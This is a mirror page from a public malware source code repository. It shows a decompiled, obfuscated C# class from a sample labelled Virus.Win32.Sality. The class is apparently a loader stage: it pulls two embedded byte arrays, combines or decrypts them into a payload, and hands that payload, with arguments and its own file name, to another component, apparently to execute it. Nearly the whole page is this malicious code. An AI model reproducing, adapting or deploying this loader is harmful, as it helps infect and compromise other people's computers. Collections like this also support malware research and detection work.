mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-23 03:46:10 +00:00
f2ac1ece55
add
101 lines
3.1 KiB
C#
101 lines
3.1 KiB
C#
// Decompiled with JetBrains decompiler
|
||
// Type: .
|
||
// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||
// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F
|
||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe
|
||
|
||
using \u0006;
|
||
using \u0007;
|
||
using \u0008;
|
||
using SmartAssembly.SmartExceptionsCore;
|
||
using System;
|
||
using System.Diagnostics;
|
||
using System.Runtime.CompilerServices;
|
||
using System.Runtime.InteropServices;
|
||
|
||
namespace \u0007
|
||
{
|
||
internal sealed class \u0004 : \u0001
|
||
{
|
||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||
public \u0004()
|
||
{
|
||
\u0003.\u0003();
|
||
// ISSUE: explicit constructor call
|
||
base.\u002Ector();
|
||
try
|
||
{
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
throw UnhandledException.\u0003(ex, (object) this);
|
||
}
|
||
}
|
||
|
||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||
public override object \u0003([In] object[] obj0)
|
||
{
|
||
object[] objArray1;
|
||
byte[] numArray1;
|
||
object[] objArray2;
|
||
byte[] numArray2;
|
||
object[] objArray3;
|
||
byte[] numArray3;
|
||
object[] objArray4;
|
||
try
|
||
{
|
||
\u0005.\u0001 = (\u0001) new \u0005();
|
||
\u0001 obj1 = \u0005.\u0001;
|
||
objArray1 = new object[1]{ (object) 100 };
|
||
object[] objArray5 = objArray1;
|
||
numArray1 = (byte[]) obj1.\u0003(objArray5);
|
||
\u0001 obj2 = \u0005.\u0001;
|
||
objArray2 = new object[1]{ (object) 101 };
|
||
object[] objArray6 = objArray2;
|
||
numArray2 = (byte[]) obj2.\u0003(objArray6);
|
||
if (numArray1.Length <= 0 || numArray2.Length <= 0)
|
||
return (object) null;
|
||
\u0005.\u0001 = (\u0001) new \u0007.\u0006();
|
||
\u0001 obj3 = \u0005.\u0001;
|
||
objArray3 = new object[2]
|
||
{
|
||
(object) numArray2,
|
||
(object) numArray1
|
||
};
|
||
object[] objArray7 = objArray3;
|
||
numArray3 = (byte[]) obj3.\u0003(objArray7);
|
||
if (numArray3.Length <= 0)
|
||
return (object) null;
|
||
if (obj0.Length <= 0)
|
||
{
|
||
obj0 = new object[1];
|
||
obj0[0] = (object) new string[1];
|
||
}
|
||
\u0005.\u0001 = (\u0001) new \u0006.\u0006();
|
||
\u0001 obj4 = \u0005.\u0001;
|
||
objArray4 = new object[3]
|
||
{
|
||
(object) numArray3,
|
||
(object) (string[]) obj0[0],
|
||
(object) Process.GetCurrentProcess().MainModule.FileName
|
||
};
|
||
object[] objArray8 = objArray4;
|
||
obj4.\u0003(objArray8);
|
||
return (object) null;
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
byte[] numArray4 = numArray1;
|
||
byte[] numArray5 = numArray2;
|
||
byte[] numArray6 = numArray3;
|
||
object[] objArray9 = objArray1;
|
||
object[] objArray10 = objArray2;
|
||
object[] objArray11 = objArray3;
|
||
object[] objArray12 = objArray4;
|
||
object[] objArray13 = obj0;
|
||
throw UnhandledException.\u0003(ex, (object) numArray4, (object) numArray5, (object) numArray6, (object) objArray9, (object) objArray10, (object) objArray11, (object) objArray12, (object) this, (object) objArray13);
|
||
}
|
||
}
|
||
}
|
||
}
|